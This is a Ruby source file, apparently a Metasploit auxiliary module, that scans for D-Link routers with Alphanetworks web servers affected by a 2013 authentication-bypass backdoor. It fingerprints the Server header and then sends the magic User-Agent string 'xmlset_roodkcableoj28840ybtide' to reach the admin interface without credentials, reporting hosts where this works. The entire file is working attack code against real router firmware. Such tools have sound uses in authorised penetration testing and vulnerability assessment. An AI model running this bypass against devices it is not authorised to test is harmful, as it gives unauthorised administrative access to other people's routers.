Brent Cook
84 lines
2.5 KiB
Ruby
84 lines
2.5 KiB
Ruby
##
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# This module requires Metasploit: https://metasploit.com/download
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# Current source: https://github.com/rapid7/metasploit-framework
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##
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class MetasploitModule < Msf::Auxiliary
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include Msf::Exploit::Remote::HttpClient
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include Msf::Auxiliary::Scanner
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include Msf::Auxiliary::Report
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def initialize
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super(
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'Name' => 'D-Link User-Agent Backdoor Scanner',
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'Description' => %q{
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This module attempts to find D-Link devices running Alphanetworks web interfaces affected
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by the backdoor found on the User-Agent header. This module has been tested successfully
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on a DIR-100 device with firmware version v1.13.
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},
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'Author' =>
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[
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'Craig Heffner', # vulnerability discovery
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'Michael Messner <devnull[at]s3cur1ty.de>', # Metasploit module
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'juan vazquez' # minor help with msf module
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],
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'License' => MSF_LICENSE,
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'References' =>
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[
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[ 'URL', 'http://www.devttys0.com/2013/10/reverse-engineering-a-d-link-backdoor/' ]
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],
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# First documented in detail by Craig, but looks like it's been known
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# (at least to the Russians :-) ) since 2010 - see post at forum.codenet.ru
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'DisclosureDate' => "Oct 12 2013"
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)
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end
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def is_alpha_web_server?
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begin
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res = send_request_cgi({'uri' => '/'})
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rescue ::Rex::ConnectionError
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vprint_error("#{rhost}:#{rport} - Failed to connect to the web server")
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return false
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end
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# Signatures:
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# * httpd-alphanetworks/2.23
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# * Alpha_webserv
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if res and res.headers["Server"] and res.headers["Server"] =~ /alpha/i
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return true
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end
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return false
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end
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def run_host(ip)
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if is_alpha_web_server?
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vprint_good("#{ip} - Alphanetworks web server detected")
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else
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vprint_error("#{ip} - Alphanetworks web server doesn't detected")
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return
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end
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begin
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res = send_request_cgi({
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'uri' => '/',
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'method' => 'GET',
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'agent' => 'xmlset_roodkcableoj28840ybtide'
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})
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rescue ::Rex::ConnectionError
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vprint_error("#{ip}:#{rport} - Failed to connect to the web server")
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return
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end
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# DIR-100 device with firmware version v1.13
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# not sure if this matches on other devices
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# TODO: Testing on other devices
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if res and res.code == 200 and res.headers["Content-length"] != 0 and res.body =~ /Home\/bsc_internet\.htm/
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print_good("#{ip}:#{rport} - Vulnerable for authentication bypass via User-Agent Header \"xmlset_roodkcableoj28840ybtide\"")
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end
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end
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end
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